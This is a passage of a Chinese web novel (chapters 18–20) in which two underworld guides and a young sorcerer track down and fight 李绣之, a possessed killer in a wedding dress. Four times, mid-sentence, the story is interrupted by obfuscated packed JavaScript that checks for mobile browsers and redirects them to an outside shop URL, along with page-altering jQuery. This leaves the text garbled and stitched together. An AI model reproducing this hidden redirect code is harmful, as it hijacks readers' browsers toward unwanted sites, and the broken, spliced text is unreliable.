“要问生辰八字我也不知道,不过我这里倒有一个东西。”灵堂一眨眼钻进后屋,不一会儿手里拿着东西回来。她把一串玛瑙手链放在柜台上,但手仍然按着手串,“这个是李绣之的旧物,凭这个可以用来寻她么?” “我可以一试。”木明瑟总算点了点头。他正要伸手去拿,灵堂却抓着手串没有松手。 “十个铜板,这串手链借给你们。”她兴冲冲地宣布价钱。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13361653|139961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >此话一出,连春生秋杀都有些惊诧:“没想到……老板先前所说的‘乐意献一臂之力’,原来是明码标价的。” “是啊,我这不是在帮你们嘛。”灵堂摸着下巴,“而且我这价钱也很公道吧……也就十个铜板而已!去菜市场买颗白菜都要三个铜板呢。算作借手链的押金都不为过吧。” 两位两袖清风的无常都默默再次把目光投向了木明瑟。 木明瑟苦着脸,不情不愿地从怀里掏出一个瘪瘪的钱袋。他一个一个从里面数出十个铜板,痛下决心地拍在了柜台上。 “成交!”灵堂豪爽地把手串往前一送。 “真是让明瑟破费了。但就算要让我们这些地府的人付钱,付的也只能是纸钱啊。”春生秋杀同情地宽慰了一句,又感慨道:“本以为老板是一心侍奉神灵的巫女,不想老板也是看重凡俗钱财的。” 他虽然是在开玩笑,但语气很轻浅,让人只觉得像是被熟人打趣了一番,而不会觉得冒犯。 “并非是我看重钱财。只是我依神意行事,大司命大人既然有所指引,必然要收取一定回馈。钱币通行于世间,自然最适合用来作为代偿。”灵堂攥着一把铜板笑嘻嘻地说,但在场众人都能听出,她绝非凭借神灵随便找了个借口。 大司命,原本是南境某些地方传说中的寿夭之神。但盛情难却身为无常,自然知道世人的命数寿夭都是地府判官所批定的,跟什么大司命无关。然而眼前这位巫女却仿佛笃信世间当真存在这样一位神灵,世人的命运生死都由他掌控,也切实地与她有着某种外人不可理喻的联系。 “多谢相助。”盛情难却淡淡看着那副黑底绘金的诡异面具,看不出感谢之情地道谢。 “哪里哪里,举手之劳。”灵堂欢快道,“有事再来找我!不过明天我应该不在……” “明瑟你怎么脸色不太好?”回去路上,春生秋杀率先出声关切,“莫非是担心寻不到那个杀人鬼?” 不说春生秋杀善于察言观色,就算此刻这里有另一个木明瑟,迟钝如他,也能看出他自己一副心情低落的模样。原先懒散但明朗如春日的青衣少年自方才起就一反常态地少言寡语,眉眼间隐有郁郁之色。 他神色怅惘当然不是因为担心自己的寻踪术不够高明,也绝对不是因为付了十个铜板出去。春生秋杀刚刚的一问不过是为了为了起一个说话的由头。 “不是。只是我觉得……”木明瑟欲言又止。 “你不会杀了灵堂的。”盛情难却平铺直叙道。 木明瑟一愣,苦笑道:“我当然不会杀人。若是平时,我定会上报官府,毕竟她用巫术不知诱使了多少人身死。但是现在……” 他下意识偏过目光望向周围。街上来往的人群都凝固不动,无声无息。 “希望等江州恢复原状,我还有机会解决这桩事吧。”木明瑟笑了笑,故作轻松地换了话题,“虽然有了手串,不过要找到那个鬼还是不太容易。我要回客栈排一个算阵,快则两个时辰,慢则一日,或许能找到鬼的踪迹。” 他难得要如此繁琐的准备,想必这番寻觅确实麻烦。盛情难却心下怕他独自专注术阵时遭受什么意外,正要上前跟他一起走,忽然手腕被人拉住。 “那明瑟你就先回去准备吧,吾辈与盛情还有别的地方要去。”春生秋杀轻轻地、很自然地牵住盛情难却的手,笑盈盈地说。 18. 神出鬼没(三) 盛情难却任由他拉着,两个无常就这样静静地穿过街巷。 无常都没有体温,接触时无异于两块冰相贴。但春生秋杀的这份冰凉更柔软一些,盛情难却觉得自己的手腕像是浸在一片春雪刚化开的溪水里,她握拳是抓不住溪水的,只能由流动的溪水轻缓地牵引她去向远处。 她倒不是特别喜欢被人这样牵着,只是对旁人这种无害的小举动,她一般都无所谓。既然心情没有喜怒,也就随他去了。 春生秋杀的脚步还没有停下,盛情难却已经明白两人要去哪了。 前方是一座如剑直指的高楼,仿佛将天幕一切两半。断章楼,号称大奉第一高楼,共十五层八十丈,曾有诗家在楼顶挥毫题下“俯首可见星”。如此高楼非人力可建成,是当时的皇帝请了天师所筑,传说它是为了定江州甚至大奉的风水而修筑,但如今江州城这副模样,也不知这座楼是否真的定住了风水。 盛情难却并非没来看过这座高楼,甚至就在昨日,她和春生秋杀还又来探查了一番。因此她也难得有些不解,不知道春生秋杀为何特意要带她来这里。 春生秋杀果然拉着她步入断章楼中,一层层走上楼梯。江州城陷入异状时已是入夜,但楼中的游人依然不少,只是越往上走人就越寥落,衣饰也越华贵。断章楼的高处几层要交付银钱、甚至要身份显贵才能登上,但两位无常自是对门禁视若无物。 当穿过最后一道门来到第十五层外的望台时,春生秋杀才松开了盛情难却的手。就连放手这个动作他也做得无比轻巧自然。 在楼底下仰望时会觉得断章楼高得令人生畏,但登上楼顶后,反而让人不觉得畏惧,只是心中会微微惊疑一刹,觉得自己来到了既非幽冥、也非凡间的异境。 望台上除了黑白无常空无一人。盛情难却低头看向滔滔奔流的更远江。世人通常说断章楼濒临更远江,但其实它并非坐落于江边,只是楼本身太过高耸,与之相比,它和更远江之间的距离便显得有些微不足道。眼下宽阔的江面也不过是一条一掌宽的飘带。 春生秋杀静静地陪她看了一会,而后笑道:“盛情怎么不问吾辈是来干什么?” 盛情难却环视下方的江州城,一刹那像是在寻觅什么,又像只是在漫不经心地游移目光,“随便你干什么,我又没什么可着急的。” “说的也是。盛情你就算一时半会解决不了江州的问题,无非就是拖延几日地府的任务。”春生秋杀赞同道,“该着急的是吾辈才对。” “你还有闲心来这里看风景,不见急在哪里。” “虽然着急,可也只能干着急呀。”春生秋杀随手拨弄着垂落在身前的头发,那缕发丝就在他指间绕来绕去,像是证明他现在没别的事可干,“这几天来我们已经快把江州城掘地三尺了,除了自己长了腿会跑的东西,就算是一箱金子埋在地底下也该被我们挖出来了。若说徒劳无功也未免丧气,但人间的皇帝要是没办法也就罢了,地府怎的也不增派人过来?” “阎王定然有自己的打算,你问我也没用。”盛情难却不带语气道,“我倒是疑惑,有一个问题你竟然从未问过我。” “什么问题?”春生秋杀偏过头看她。 “你为何不问我,”盛情难却语调中依然没有一丝波折,缓慢地说,“与我同行的黑无常去何处了?” 春生秋杀笑了。他善于交际,脸上也常常带着各式各样的笑容。而眼下他的笑是放松的笑意,带着点“只是为了这个”的意思。但他开口时声调并不轻浮,而是认真道:“他应当和吾辈的搭档一样失踪了吧。吾辈如果有意问你,不是提起你的伤心事么。” 盛情难却没有驳斥他话里一些错误之处,只是淡淡道:“你怎么知道的?” “你们看起来关系这么要好,这几日他却一直没有出现,连通信都不曾有过,吾辈也只能如此猜测他遇到什么意外了。并且盛情你还觉得那对师徒是罪魁祸首吧?”春生秋杀还是落落的浅笑。 “起初是如此觉得。”盛情难却也看向他,“你猜得很准。” “吾辈说过你很容易被看透心思呀。”春生秋杀随意地折回目光,望向天际漂浮的云海。 “既然如此,你说说我现在在想什么。”盛情难却还是直直盯着他。 春生秋杀无奈地歪了歪头,“这就是在故意为难吾辈了吧。要是这也能看透,吾辈就不该做无常,该转行去山上做妖怪了。” 盛情难却伸手拉了拉兜帽。这只是她一个习惯性的动作,并不昭示什么感情。“我跟他关系并不要好。” 春生秋杀一愣,“这不是引得吾辈只能接着往下问,你的搭档是什么样的人么?” “我没有这个意思,是你自己要问。” 春生秋杀从善如流地点点头,“好吧好吧,是吾辈自己好奇,那就劳烦盛情讲一讲了。” “他是跟我一样主动请调到阳平县的无常,性情尚可,几十年间对我一直很好。”盛情难却语气依然寡淡。 她说得很简短,似乎无话可讲。但在这三言两语中,闪过她脑海的绝非仅仅这寥寥几个字。 那个人的话痨,他的从容,他的同样擅长洞察人心,风度端雅,却又偶尔的狡黠和锋芒;他冰冷皎洁如明月的白发和幽幽的翠绿眼眸。几十年间谈笑的浮光掠影。 都在思绪中忽然而至,然后一闪即逝。 “这么听来,似乎也不是什么特别的人。”春生秋杀从她的片言只语中只能得出一个平庸的结论。 “至少对我来说不是什么特别的人。” “是么。”春生秋杀表情微妙地变了,似笑非笑道,“如果不特别,何以你都不愿提到他的名讳,何以留心要追踪那个杀人鬼?毕竟那只杀人鬼不像会是江州异状的主谋,你找她,不过是因为她或许造就了你搭档的意外吧?” “不特别。”盛情难却平冷而断然地说,“还有一个问题。” “……什么?”春生秋杀困惑于她的话锋一转。 没错,天衣无缝并不算特别,因为她心中已经有某个最为殊异的人了。哪怕那个人她尚不知其面貌和姓名。 她刚刚所谓的“还有一个问题”,是指还有一个问题春生秋杀也不曾问过她。这并非什么要紧的问题,问了是好奇闲聊,不问也无可厚非。然而不知为何,盛情难却本能地觉得春生秋杀是应该要问她这个问题的,或者说,她希望他问这个问题。 “你怎么不问,”她缓缓地说,“我是因为什么执念而成为无常的?” 因为无常大多都是忘记这份生前的执念的,因为不曾想到过这个问题,因为不愿窥探你的私事……理由实在太多太多。然而春生秋杀只是眼眸微弯,也学着盛情难却放慢语速。 “因为我已经猜到了。”他徐徐地如是说。 他收回一条搭在栏杆的手臂,侧身转向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13368904|139961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盛情难却,面上依然带着笑:“你是想杀一个人么?而且不知为何,你似乎对吾辈怀着杀意。” 他刚刚说已经猜到时分明十分笃定,现在阐述时却又狡猾地用了模糊的语气。 盛情难却忽然动了!转眼间原本飘扬在她身后的引魂幡已在她手,她一抬手臂,白幡直指春生秋杀的咽喉! 她的动作很快,但还绝不至于快到让黑无常连反击的余地都没有。然而春生秋杀却没有要还手的意思。他被引魂幡逼得往后仰去,半个身子已在栏杆之外。 “高楼之上,四下无人,真是杀人的好地方啊。”他悠悠地叹息,“只是吾辈的确不知道盛情你为什么想要杀人,也不知道为什么想杀吾辈。” 他正以一个摇摇欲坠的姿势悬在栏杆外,这样下去,即使引魂幡的木杆不戳穿他的喉咙,他也可能从这十五层高楼上掉落。但春生秋杀仿佛完全没有危险的自觉,眉眼间仍然是清水般的笑意。 春季多风,断章楼上,八十丈之高,风势更是猛烈。黑无常的兜帽早已垂落下去,垂落的还有他绸缎一样的浅色发丝。对峙的两人静止了片刻,而后随着这阵大风,春生秋杀的斗篷与长发渐渐开始飘舞起来,像是一只羽翼凌乱的灰鹭。 他由虚形变为了实体。 “刚刚那样恐怕是摔不死的,这样或许还可能会摔死吧?”他轻声说,唇角上扬,“……如果无常也会死的话。” 他一如既往的双眼弯弯,浅色睫毛盖住眸子,分辨不清眼神。但他神态间绝无自毁的倾向——他是确定盛情难却不会对他下死手! 春风翩然而过。乱人衣袍,乱人心弦。 ……如果无常也有“心”的话。 盛情难却终于撤回手。“开玩笑的,别介意。”她面无表情地说。 尽管心中还有种种疑惑,但盛情难却直觉现在并非询问的时机,那个时机还在以后。 “其实吾辈也跟搭档开过这样的玩笑,比如突然从很高的地方跳下去什么的,当时真的吓了她一跳呢。”春生秋杀没事人似的拽了拽斗篷,像是觉得有趣一样笑了起来。虽然并未直言,却会让人觉得他真心实意地“不介意”。他依然仰靠在栏杆上,望着头顶的晴空,若无其事地开口: “盛情你可听说过秋高气爽一词?吾辈觉得夏、秋、冬三季的晴空都十分高远,夏季的天明爽而高,秋季的天清爽而高,冬季的天干爽而高。唯有春季的天空,吾辈觉得即使大晴,望去也像是在缓缓下沉。也许是因为春季多缠绵悱恻,所以少了些爽朗之意吧。” 盛情难却也抬头望向天空。今日并非响晴,几片连缀的浮云在大风吹动下冉冉移动,天色碧蓝。 那个写下“俯首可见星”的诗人或许也曾如此恍惚,分不清是楼阁太高,还是天幕在缓缓低垂吧。 “那么从这里伸出手,可以碰到天空么?”她突然问道,笼罩白无常周身的冷漠和阴森不再了一瞬,一瞬间她稚气得仿佛一位普通少女。 “当然不可以。”春生秋杀一本正经地回答,这时候他反倒像一个残忍打破孩子幻想的恶人。他冲盛情难却挥了挥手,以作拜别,“盛情你既然放心不下明瑟,就快些回去看着他吧。吾辈再在这儿看会风景。” “你还当真是来看风景的。”盛情难却一时有些无言以对。 “这不是还与你谈了会天嘛。”春生秋杀笑得开心,悠闲地翻身继续看他的风景去了。 19. 抽刀断水(一) “终于……” 木明瑟最后挪动了一次算筹,忽然如释重负地往后一倒,整个人咕咚一下躺在了地板上,一副大功告成当下便好含笑而终的模样。 “算完了?”盛情难却抱臂站在一边,看着地上死气沉沉的木明瑟。 她昨日从断章楼赶回客栈时,木明瑟已经开始排这个所谓的算阵了。不大的客栈房间里,半面地板都被画满了各种符文卜字,构成了某种阵法,术阵隐隐生辉,有光点流转其间。而木明瑟蹲在一边专心致志地摆弄着几组算筹。 盛情难却也看不懂他在干什么,于是好似房间里的白瓷花瓶一样不言不语立在角落里。她站了一宿,木明瑟也算了一宿,从最开始蹲着算,到改为跪坐,再到盘腿坐下来,最后现在终于算完,直接两眼一闭躺在了地上。 “算完了……”木明瑟还是闭着眼睛,有气无力地吐出三个字。 “你当初说快则两个时辰,慢则一日,结果算了一日。”盛情难却俯瞰着地上淡金光华的算阵,几颗光点如同星辰一般在阵中缓缓移动,“其实我最开始以为你一拿到手串,即刻便能有结果。” “你真以为我是无所不能的神仙么……就算神仙也有干不到的事吧。”青衣术师哀叹了一声,“这玛瑙手串已经是几十年前的旧物了,原主人现在又是游离于阴阳两界的鬼,能寻得踪迹已经不枉老头子教了我三年了。而且……这几天有点累,否则两个时辰就能算完了。”最后一句他只是很轻地嘀咕了一句,像是说到后面已经要睡着了。 “我只是觉得抱歉。若不是我弄丢了生死簿,你便不需要如此费劲排阵了。”盛情难却平静地说。 生死簿除了记录活人的生卒,上面还记载着鬼魂的出没,无常通常都是循着生死簿去索鬼的。 “这个……又不是盛姑娘故意要把生死簿弄丢的。而且对我来说,能帮上忙就是好事啦。”木明瑟艰难地挣扎了一下,歪歪扭扭地重新坐起来。他摊开手,掌心上是一只式样熟悉的纸鹤,“用这只纸鹤领路就可以找到要找的人了。” 盛情难却突然迈步朝他走去,惊得木明瑟大叫“千万别碰到算筹”。白无常好似把他的话当耳旁风,置之不理地一脚踏上,身形却像影子一样穿过了现世的东西,没有碰乱这些小木棍。 木明瑟呆了一下,心有余悸地拍了拍额头,“盛姑娘,你就别故意吓我了。”他举起胳膊把纸鹤递过去,然后自己也反手撑着地板爬了起来。 盛情难却捏着纸鹤看他抖搂衣服,“你干什么?” “什么干什么。”木明瑟莫名其妙,“去抓鬼啊。” 盛情难却没有动,“你也去?” “当然了。”木明瑟对她的问题很是疑惑,“抓鬼也算是术师的本职工作了吧。” “已经有纸鹤领路了,何必还要你去。” “纸鹤是领路的,我是去抓鬼的啊。”木明瑟以为盛情难却没有理解,又重复了一遍自己的去意。 “你不用去。我去就够了。”盛情难却也同样清晰地、不容商榷地说。 “那怎么行!那个杀人鬼可是能从半仙手底下逃脱的,传说凶悍无比。”木明瑟夸张地龇牙咧嘴模仿恶鬼,然后他忽然顿了顿,意识到自己的说辞有些不当,蔫了下来,“当然……我不是看不起盛姑娘,但是两个人总比一个人有保障吧。” “你忙了一整天。我是无常,不会感到疲累,难道你也不需要休息?”盛情难却不为所动,“你就在这里睡一觉好了。” “累……确实有点累。”木明瑟承认,“不过盛姑娘这番话就是小看我了!我以前还有整整三天不睡觉的时候呢。” “我不是小看你。我是在关心你。”盛情难却淡淡地说。 “……” 木明瑟露出了迷茫的神情,大概觉得自己真的累糊涂产生了幻听。他呆呆地看着白无常脸上霜雪一样冰冷空白的神情,实在没能从里面看出丝毫“关心”来。 “多谢关心……”木明瑟显然不太擅长应付这种场面,只能弱弱地回了一句客套话。但随即他很真情实感又不解风情地发出疑问:“但是为什么关心我?” “因为你是可以相信的人。”盛情难却简短而截然地回答。 天衣无缝死去,春生秋杀捉摸不透,而其余萍水相逢的人里更没有一个称得上可靠。也只有眼前的青衣术师心思纯粹、不怀他意。论可信程度,木明瑟自然是唯一一个值得信任的。盛情难却不希望太早失去这个同伴。 木明瑟突然左顾右盼起来,“那个黑无常去哪了?” “我怎知道。” “要是他在的话,我不去,盛姑娘和他一起去也行啊。”木明瑟捂着脸叹气,“盛姑娘关心我,我也担心盛姑娘啊。毕竟是盛姑娘自己跟我说的,在这里,无常也会……‘死’。” “真要说起来,无常早就是已死之人了。” 盛情难却忽然绽开一个笑容。她伸出手到木明瑟面前,手掌平摊。 “那就再给我一只纸鹤,先前在更远山上用过的那种。若是我遇到危险,就给你传信。你这般自信不拖后腿,那也定能及时赶到的吧。” 木明瑟面对少女的笑容犹豫了片刻,还是怏怏地拿出了一只纸鹤,嘟囔道:“之前怎么不觉得你如此能说会道。” “那我就不说废话了。”盛情难却拿过纸鹤,笑容一下子消散了,身影也转瞬间从房间里消失无踪。 纸鹤扑棱着翅膀引路。盛情难却正默默跟在后面,身边忽然冒出了一个黑色的身影。 “看来明瑟已经完成算阵了啊。”春生秋杀开朗地说。 盛情难却无视了他的话,“你干什么去了?” “啊,吾辈姑且去料理了一些私事。而且想到既然有盛情你守着,吾辈就不去打扰明瑟了。” 盛情难却紧跟着追问:“什么事?” “哎……盛情,你知道什么叫‘私事’吗?”春生秋杀摇了摇头,“要是你好奇的话,不妨自己猜猜看。猜对了吾辈就告诉你。” 沉默片刻后,盛情难却道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13388294|139961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你猜我猜对了么?” “呵呵,那你猜吾辈猜你猜对了么?这样下去可就没完没了了。”春生秋杀指了指前头飞着的纸鹤,“感觉这纸鹤甚是好用啊,可以传讯,可以寻人,吾辈也好想要一个。” “你是有要传讯的人,还是有要寻的人?” “都没有,毕竟无常整天都只能忙着工作。”春生秋杀幽幽地说,“盛情你过惯了在乡下养老的日子,不要忘记你的同僚平时多么辛苦啊。” “你辛苦了。”盛情难却温柔地笑。 “嗯……这个笑也太假了,至少不要笑得这么僵硬吧。”春生秋杀扬起一个标准的春风化雨的笑容,循循善诱,“这样笑试试看?” 盛情难却瞪着他。 “这是愤怒么?真是难得一见啊。”春生秋杀惊叹地研究她变化的表情,“吾辈要再说些什么可以看到别的表情呢……” 盛情难却恢复了面无表情的样子。 “这是表示玩闹结束了吧。”春生秋杀遗憾地笑了一下,“不过真稀奇,盛情你今日怎么愿意陪吾辈玩?” 盛情难却平声道:“听说狸猫在杀死猎物前会先戏弄它们。” “狸猫吗……和盛情你确实有点像呢。”春生秋杀看了看她又看了看自己,“不过吾辈跟老鼠还是差别很大的吧?” 他似乎是想要轻巧地带过这个话题,但盛情难却不给他这个机会,直言不讳道:“你知道我要杀你,为什么还跟着我?” “盛情你不是说只是在开玩笑么,还让吾辈别介意。”春生秋杀笑眯眯地反将一军,“而且吾辈之前也说过吧,我们是同伴。” 他说到这里就恰到好处地打住了,没再煞费苦心地解释何谓“同伴”。他转而四顾起来,“咦,这条路是不是有点熟悉?” 他或许是在岔开话题,但盛情难却明白他的“熟悉”是指什么,也觉得有些巧合,便顺着他的话接下去:“我们跟在松枝后面走过。” “前面就是河堤了吧。”春生秋杀沉吟片刻,“难道是那个死去的仙人转生成为杀人鬼了?” “即使他变成女鬼,也不会穿红衣服。” “吾辈认输了,还是盛情你开玩笑更有水平啊。”春生秋杀说,“不过其实穿红衣服的鬼不多吧?毕竟平时街上也很少见穿一身红的人。” “那你可以去问问她,为什么穿一身红衣服。”盛情难却不动声色道。 还是如雪的杏花,在晴空下灿烂得不堪直视。一片纷纷扬扬的雪白中,红衣女子倚着一柄青色的长刀,一动不动地眺望着某个方向。连绵不断的风吹起她轻飘飘的衣裙。 “这就不用问了。显然是嫁衣啊。”春生秋杀轻声说。 她的确穿着嫁衣。厚重华丽的嫁衣原本不是风能轻易托起的,但她身上的嫁衣已经十分破旧,以至于显得单薄,春风扬起的只是那些绫罗的残片。 在她的脚边,一具僵尸倒卧在地——确切而言,是僵尸的身体。而僵尸,或者说,松枝的头颅,孤零零地滚落一边。 20. 抽刀断水(二) 盛情难却缓步前进。春生秋杀却拉住她的袖子,“生擒还是直接杀了?” “先让她活着。”盛情难却甩开他。 在黑白无常窃窃私语的时候,红衣女子也注意到了他们,缓缓转过头来。 虽然穿着一身嫁衣,但她头上并未戴着凤冠,一头长发仅用一条红绸挽着,想必这条红绸还是从破损的衣裳上撕下来的。不似传闻中那般凶神恶煞青面獠牙,她五官端正,甚至可以称得上温婉。年纪也很轻,大约是桃李年华的姑娘。除了姿态不够娴雅,模样气质几乎是一个落魄的世家小姐。 头顶的杏树漏过细碎的日光,在她身后打下斑驳的影子。她依然没怎么动,只是慢慢地拔出了插在地上的长刀。 盛情难却径直走到她面前,开门见山:“你是李绣之?” “正是小女子。” 她的声音也很柔和,完全是闺阁小姐的腔调。 盛情难却一言不发地端详着红衣女子。乍一相见,白无常已经瞬间发现了传言中一个颠倒的谬误—— 李绣之不是鬼,而是人! 她的躯体,她手持的那把长刀,不是虚幻的鬼影,而是切切实实存在于现世的。只是在白无常的审视中,红衣女子周身鬼气缭绕,有恶鬼寄宿体内。民间通常称这种情况为“鬼上身”。但只有白无常的眼睛能看出其中微妙的差别——鬼上身一般是恶鬼侵占了人的身体,恶鬼没有清醒的神智,因此会导致其人的言行离奇失常;但在李绣之身上则截然相反,不是恶鬼吞噬了她的魂魄,而是她凌驾于恶鬼之上在操控自己的身体! 就算盛情难却不了解术法,也能看出李绣之身上完全没有术法的痕迹。因此不可能是她用某种术法将身上的鬼封印了,而是她在鬼上身之后,以堪称可怕的意志维持着自己的清醒。 或者是……她的怨气压过了恶鬼。 “不知二位是如何知晓我的姓名的?”李绣之依然是柔和似水的语调,然后略微停顿了一下,“是通过生死簿知道的么?那二位此番前来,应当不是特意来与我寒暄的吧。” “他是你杀的?”盛情难却指向身首分离的僵尸。 方才她全副心思都在观察李绣之上,此时定睛一看,才发现不仅松枝被断了头,旁边土坑中诸无的尸体也遭受了严重的毁坏。只是这种毁坏的痕迹不像是利器所致,而像是被啃咬或者撕咬后留下的。 仿佛读懂了盛情难却的心思,春生秋杀轻轻一振铁链,把松枝的头翻了过来。僵尸的嘴角还残留着几缕血肉。 完全丧失神智的僵尸啃食了旁边的尸体。就是这么简单而昭然若揭的事实。 “是又如何,不是又如何?”与柔婉的面貌和声音相反,李绣之的言辞分外尖锐,与大家闺秀的温良相去甚远。 “出现异状以来,你在城中可有杀过谁?”盛情难却冷冷地问。 李绣之静静地盯着白无常,尔后婉约地笑了。如果说盛情难却时常让旁人感到冷漠,是因为她实在缺少感情;那么李绣之此时的笑,则是真正的冷笑。 “我不喜欢别人这么跟我说话。”红衣女子柔声细语。红色嫁衣像是摇曳不定的暗色火焰。 她霍然扬起刀!那把长刀细看其实是灰白的铁色,但映着萦绕的鬼气,染成了苍苍的青色。长刀原先被她松松拎在手中,没有刀鞘,此时陡然划破空气,带出犹如鸣泣一般凄厉的尖啸。 刀锋直指白无常胸口!三月本已是渐渐和暖的天气,但在红衣女子出刀的刹那,春寒料峭,阴冷的寒意扑面而来。 盛情难却同时后退,引魂幡一晃,想要拂开长刀。但仿佛是水流撞上礁石而被一分两半,刀刃直直切开了半幅幡布。盛情难却手腕一抖,零落的幡布转眼间卷上长刀,可下一瞬间她就觉得手臂一重,竟然趔趄一步往刀上撞去! 白无常严格来说并非武职,引魂幡正如其名,平时是引渡驱策魂魄之用。若遇厉鬼,也可用以束缚鬼魂。盛情难却原本是要缚住长刀的行动,但这柄刀原本并非鬼影,天然不受无常法器的压制。李绣之又以惊人的力道一挥刀,被牵制的反倒变成了盛情难却。 长刀挥下!裹着刀身的白幡再次被切断,而刀尖在盛情难却身前几寸处堪堪擦过。 春生秋杀不知何时来到了李绣之的身后,双手执着勾魂链,将铁链套上李绣之的脖颈——但他差了一点,李绣之一手握刀,另一只手扯住了铁链。就是因为这番和春生秋杀的拉扯,那把刀才差了几寸没把盛情难却也切成两半。虽然现世之物伤不到无常,但刀上附着的鬼气却犹如刀锋一般凌厉。 电光火石间,李绣之平挥一刀,逼得盛情难却又退开来,随即她毫不犹豫地反手将刀往身后刺去。而春生秋杀也蓦地松开一只手,轻轻抓住了刺来的刀尖——至少看起来他的动作很是轻易。 “盛情你退后,免得被吾辈误伤了。”春生秋杀仍在与李绣之僵持,语速比平常略快。这倒不是因为他用力勉强,只是有意催盛情难却快点远离。 然而他话音未落,白幡已经如雾一般袭来。 “唉……真是固执啊。”春生秋杀无奈地松开刀后撤。他手里的勾魂链在贴身的距离下反而成了累赘,让他空不出手来应对李绣之凶猛的攻击。 李绣之忽然只觉喉咙一紧。袭来的白幡在半空解离成无数极细的丝线,密密地缠上了她的脖颈。这一招对寻常的厉鬼只能起到束缚的作用,但对于还是人身的李绣之而言,被勒住脖子无疑会令她窒息昏迷。而与春生秋杀方才的铁链不同,丝线四处弥散在空中,李绣之无法将它们一下子抓住或者斩断。 盛情难却尚没有动杀机,兼之鬼气的抗衡,丝线并未直接勒断李绣之的脖子,但已经深深嵌进了肉里,光凭手指无法挖出。李绣之几乎不假思索地斜过刀刃往脖子上一割,留下一道血痕的同时,缠住她脖颈的丝线也尽数断裂。 短短几息间,春生秋杀已经甩出勾魂链,重重 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13403767|139961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打在李绣之后背,而她只能硬生生承受了这一击。喉咙的桎梏解除后,她爆发出一阵刺耳的狂笑声。这时候她已经全然不是什么闺阁小姐了,而是一个美丽但疯癫的女人! 受了勾魂链一击,李绣之却丝毫不见势弱,反而周身鬼气更加浓烈。她大笑着扑向盛情难却,速度极快,恰如其分地诠释了“形同鬼魅”这个词。盛情难却反应不及慢了一分,手里轻软的引魂幡又不能作阻挡之用,直接被红衣女子压倒在地。李绣之转手举起长刀,狠狠刺穿了白无常的腹部! 她抽出刀还要再刺,忽然调转刀身,挡住横空抽来的铁链。然而铁链虽然抽在长刀上,却几乎让整把刀脱手飞出——长刀虽然没有飞出,红衣女子却在一击之下飞出了近乎一丈之远! 这一击的力道远胜之前。大概是春生秋杀先前遵守盛情难却“活捉”的指示,下手留有余力;而现在他发现李绣之虽是人身,但远没有那么脆弱易死,于是动手也重了些。 李绣之甫一落地,立即翻身而起。而春生秋杀也来不及开口,见盛情难却已经独自站起身,似乎并无大碍,便越过她闪身追了上去。 盛情难却默然倚在一棵杏树上,远远旁观杀人鬼和黑无常的一战。 现在她才明白春生秋杀先前的“免得误伤”是什么意思。若是让勾魂链能触及现世,整片杏林恐怕都会被他挥扫的铁链摧毁殆尽。如果春生秋杀一开始就摆出这副架势,的确难以确保不会伤到附近的盛情难却。 从前天衣无缝哪怕使用勾魂链索鬼的时候,也总是和他一贯的风度一般,准确优雅得像是拨动琴弦,琴弦上绝无多余的杂音,他每次出手也绝不落空、一击中的。而与他相比,春生秋杀简直是毫无章法。光从他柔美甚至有些孱弱的外表来看,着实难以想象他此刻展现出的暴烈。但盛情难却察觉到春生秋杀看似在随心所欲地挥动铁链,实际上却有些束手束脚——当然,她现在已经是远远站在不会被误伤的距离,所以这份拘束与她无关。只不过她不在附近,春生秋杀的顾忌毕竟少了一点。 他这样粗暴的使用勾魂链的方式,与其说是他的习惯,倒不如说是因为他“不习惯”。如果给他一把刀剑这类最简单的武器,说不定春生秋杀还会用得更顺手一些;也或许,他根本就不需要什么武器。 话说回来,春生秋杀毕竟没有真的造成什么破坏。但与勾魂链不同,李绣之手中的长刀是实打实的。尽管不是传闻中的砍刀,但淬着青色鬼气的刀光斩过,周遭的杏树无不被这片薄薄的刀刃齐齐斩断。半炷香内,地上已七零八落地倒伏了好几棵杏树。 好在其余的杏林大概是可以免此毒手了。白无常确实难以单独应付这样的杀人鬼,但对于黑无常而言不在话下。春生秋杀一手将李绣之按在地上,另一只手随手夺过那把长刀,轻悠悠地架在了她脖子上。 